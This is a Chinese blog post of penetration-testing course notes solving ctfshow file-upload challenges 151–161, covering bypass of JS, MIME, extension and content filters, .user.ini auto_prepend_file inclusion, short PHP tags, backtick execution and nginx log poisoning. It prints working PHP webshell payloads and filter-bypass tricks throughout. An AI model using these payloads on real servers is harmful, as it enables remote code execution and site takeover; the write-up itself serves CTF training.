《渗透测试》WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性 2022 Day31

发布时间 2023-05-05 17:15:49作者: muqing1

 

1、文件上传-前端验证

2、文件上传-黑白名单

3、文件上传-user.ini妙用

4、文件上传-PHP语言特性

 

前置:

后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)

如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门

#详细点:

1、检测层面:前端,后端等

2、检测内容:文件头,完整性,二次渲染等

3、检测后缀:黑名单,白名单,MIME检测等

4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等

 

ctfshow例题

一:151 前台校验不可靠    Content-Type: image/png

1.1 查看网页源代码发现通过修改exts的值可以修改文件上传的类型

 

 1.2 通过修改前台的exts的值为php上传一句话木马

 

1.3 上传成功:

 1.4 蚁剑连接后门

 

152 后台检验不可靠

2.1 查看网页源代码 

 

 2.2 和151前端验证同理,先修改exts的值为php

 

2.3 直接上传失败,说文件类型不合规,因为前端的绕过了,所以后端有验证

 

2.4 放包到bp,查看conten-type

这是php文件的

 这是png文件的

 

 2.5 修改上传php文件的数据包的content-type为png的

 

 2.6 上传成功,通过蚁剑进行连接

 

 

153-JS验证+user.ini

3.1 查看网页源代码,发现同样在前端进行了限制。

 3.1.2 修改为php

 

 

 

3.2 抓包修改content-type为png类型

 

3.2.1 发现上传失败

 

3.3 尝试再去修改content-Disposition的filename属性值为png

 

3.4 上传成功

 

3.4.1 php解析不成功

后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)

如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门

 

 3.5 尝试大小写进行绕过

 3.5.1 上传成功

 3.5.2 解析失败

 

3.6 多文件后缀解析绕过

 

3.6.1 上传成功

 3.6.2 解析失败

 

 

3.6.3 尝试.user.ini绕过

1 php.ini介绍

https://m.php.cn/article/504214.html

PHP配置文件(php.ini)通常在安装PHP时自动生成,用于配置PHP的各种参数和选项。该文件包含了PHP运行时的所有参数和选项,可以控制PHP的行为和性能特征。

 

2 user.ini介绍

.user.ini是php防跨站目录访问的文件配置,里面放的是你网站的文件夹路径地址。

目的是防止跨目录访问和文件跨目录读取。

配置文件都是放在根目录 .user.ini

https://www.cnblogs.com/NineOne/p/14033391.html

3  作用

除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。

也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

这里就很清楚了,.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置

 4 漏洞原理

其中有两个配置,可以用来制造后门:
auto_append_file、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

auto_prepend_file=test.jpg

或者

auto_append_file=test.jpg

然后将图片马传上去,再访问index.php,注意是上传目录下的index.php,执行任意命令即可,也可蚁剑连接

 

5 利用过程

5.1 修改前端后缀

 

 5.2 上传.user.ini文件

 

5.2.1 上传成功

 

5.3 上传php文件,文件后缀改png

 

5.3.1 文件上传成功

 

5.4 蚁剑访问 upload目录(首先问upload目录就是访问upload/index.php,然后index.php包含了.user.ini文件,最后.user.ini包含了1.png后门)
重点:这里png图片木马能够被解析是因为.user.ini包含了这个png文件,并且.user.ini这个文件是以php执行的,所以包含的png图片也会以php的语言去解析

 

 

 154-JS验证+user.ini+短标签

.user.ini:auto_prepend_file=test.png

1.按照上一关的思路进行尝试绕过

1.1 前端绕过

 

1.2 修改conten-tpye为png格式 ,上传.user.ini文件

 

 

1.3 上传png

 

1.3.1 上传失败

 

1.4 猜测可能是对内容进行的检测,尝试测试

1.4.1 删除eval函数一样失败

 

1.4.2 删除php发现上传成功

猜测是对php进行了内容检测

 1.4.3 进一步测试上传php,成功

 1.4.4 猜测是<?php过滤 上传失败

应该就是过滤了 <?php 这个组合

 

1.5 绕过php的几种思路

(1) <? echo '123';?> //前提是开启配置参数short_open_tags=on

(2) <?=(表达式)?> //不需要开启参数设置

(3)<% echo '123';%> //前提是开启配置参数asp_tags=on

(4)<script language=”php”>echo '1'; </script> //不需要修改参数开关

因为2.4不需要开启配置参数,因此大多时候2,4

 

1.6.1 <?=eval($_POST[x]);?> 上传成功

 

 

 1.6.2 漏洞利用 蚁剑连接 注意是url+/upload 因为.user.ini文件上传在upload目录下

 

 

155 和154一样

1.按照上一关的操作进行尝试

1.1 前端绕过

 

 1.2 上传.user.ini文件

 

1.3 上传一句话

 

1.4 漏洞利用

 

156 JS验证+user.ini+短标签+过滤

1.先上传一句话木马,查看是那些地方进行了过滤

发现删除了[]后删除成功,猜测是对 ‘[' ;]'进行了过滤

 2.尝试绕过

PHP中使用 [ ] 进行传输数据,也可以使用花括号 { } 传输数据

上传成功

 

3 按照之前的思路来,上传.user.ini

 

上传图片

 

漏洞利用

.user.ini:auto_prepend_file=test.png

test.png:<?=eval($_POST{x});?>

157 JS+user.ini+过滤 ; [] {}

测试发现,过滤了;和{}、[]、{}

这里用新的绕过方式,来绕过 ;和[] {}

通过直接调用命令

<?=sysytem('tac ../fl*')?>来进行绕过

 

 

上传成功后,通过.user.ini文件去包含

 

上传调用命令

 

访问upload目录,上传成功

payload:

<?=system('tac ../fl*')?>

 

158 与157一样

 

 

 

 

159 JS验证+user.ini+短标签+过滤

测试发现,过滤了括号,之前的都不能用了

这里用新的绕过方式

反引号进行绕过

知识点:PHP会尝试将执行运算符(反引号)“``”中的内容作为shell命令来执行,并将其输出信息返回。

使用执行运算符与调用函数shell_exec()的效果相同。在激活了安全模式或者关闭了shell_exec()时是无效的。执行运算符不能在双引号字符串中使用。

使用反引号运算符的效果与函数 shell_exec()相同

payload:

.user.ini:auto_prepend_file=test.png

 

test.png:<? echo `tac /var/www/html/f*`?>

 

 

访问upload目录

 

160 JS验证+user.ini+短标签+过滤

测试发现,使用的是白名单,之前的都用不了,要用新的绕过方式

绕过方式:包含默认日志,日志记录UA头,UA头写后门代码

因为服务器使用的是nginx中间件,日志文件默认在/var/og/nginx/access.log

先通过.user.ini文件包含默认的日志文件路径,然后在日志文件中的UA头写后门代码,进行上传

.user.ini:auto_prepend_file=test.png

test.png:<?=include"/var/lo"."g/nginx/access.lo"."g"?>

 

1. 上传包含日志文件的png文件

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

.是连接符 用 “ 绕过 

 

 2.上传.user.ini文件,包含3.png文件

 

3. 查看日志文件是否被包含,访问upload目录

 

4 修改ua头,上传一句话木马 放包发过去

 

 5 使用system函数读取flag

 

 

161 JS验证+user.ini+短标签+过滤+文件头

这一关多了个文件头部检测是否为图片格式文件

gif文件 文件头为:GIF89A 其他的和160关一样

1.上传包含日志的png文件

test.png:GIF89A <?=include"/var/lo"."g/nginx/access.lo"."g"?>

 

 2 上传.user.ini

.user.ini:GIF89A auto_prepend_file=test.png

 

 3 访问upload目录

 4 刷新页面重新抓个包构造UA头一句话木马

 

5 使用sysytem函数读取flag